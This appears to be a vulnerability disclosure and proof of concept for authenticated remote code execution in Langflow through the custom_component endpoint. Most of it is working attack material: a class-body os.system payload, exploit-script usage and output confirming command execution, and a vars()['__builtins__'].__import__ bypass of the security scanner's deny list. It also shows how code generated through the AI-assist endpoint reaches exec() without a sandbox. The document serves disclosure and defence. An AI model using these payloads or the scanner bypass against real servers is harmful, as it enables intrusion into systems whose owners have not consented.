@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

============================================================
 PoC CVE-2026-17633 — Langflow Custom Component RCE
 CVSS 8.5 HIGH — Authenticated RCE
 IBM Langflow OSS 1.0.0 – 1.10.3
============================================================

[*] Health:  {"status":"ok"}
[*] Target:   http://127.0.0.1:7860/api/v1/custom_component
[*] Command:  id > /tmp/pwned.txt
[*] Vector:   class body exec() — no scanner

[*] HTTP Status: 200

============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt

[*] Verify the effect on the server:
    docker exec <container_id> cat /tmp/pwned.txt

docker exec <container_id> cat /tmp/pwned.txt

uid=1000(user) gid=0(root) groups=0(root)

DANGEROUS_CALLS: dict[str, str] = {
    "exec":         "Use of exec() is forbidden in components",
    "eval":         "Use of eval() is forbidden in components",
    "compile":      "Use of compile() is forbidden in components",
    "__import__":   "Use of __import__() is forbidden in components",
    "globals":      "Use of globals() is forbidden in components",
    "open":         "Use of open() is forbidden in components",
    "breakpoint":   "Use of breakpoint() is forbidden in components",
    # "vars" → NOT PRESENT ← gap identified here
}

vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")

from langflow.agentic.helpers.code_security import scan_code_security

test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)

is_safe: True
violations: ()

import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)

uid=1000(user) gid=0(root) groups=0(root)

POST /api/v1/agentic/assist/stream
  → LLM generates Python component code
  → extract_component_code() extracts the ```python``` block
  → validate_component_code()        — AST structural check → PASS
  → scan_code_security()             — bypass via vars()    → PASS (is_safe: True)
  → validate_component_runtime()     — exec() without sandbox → RCE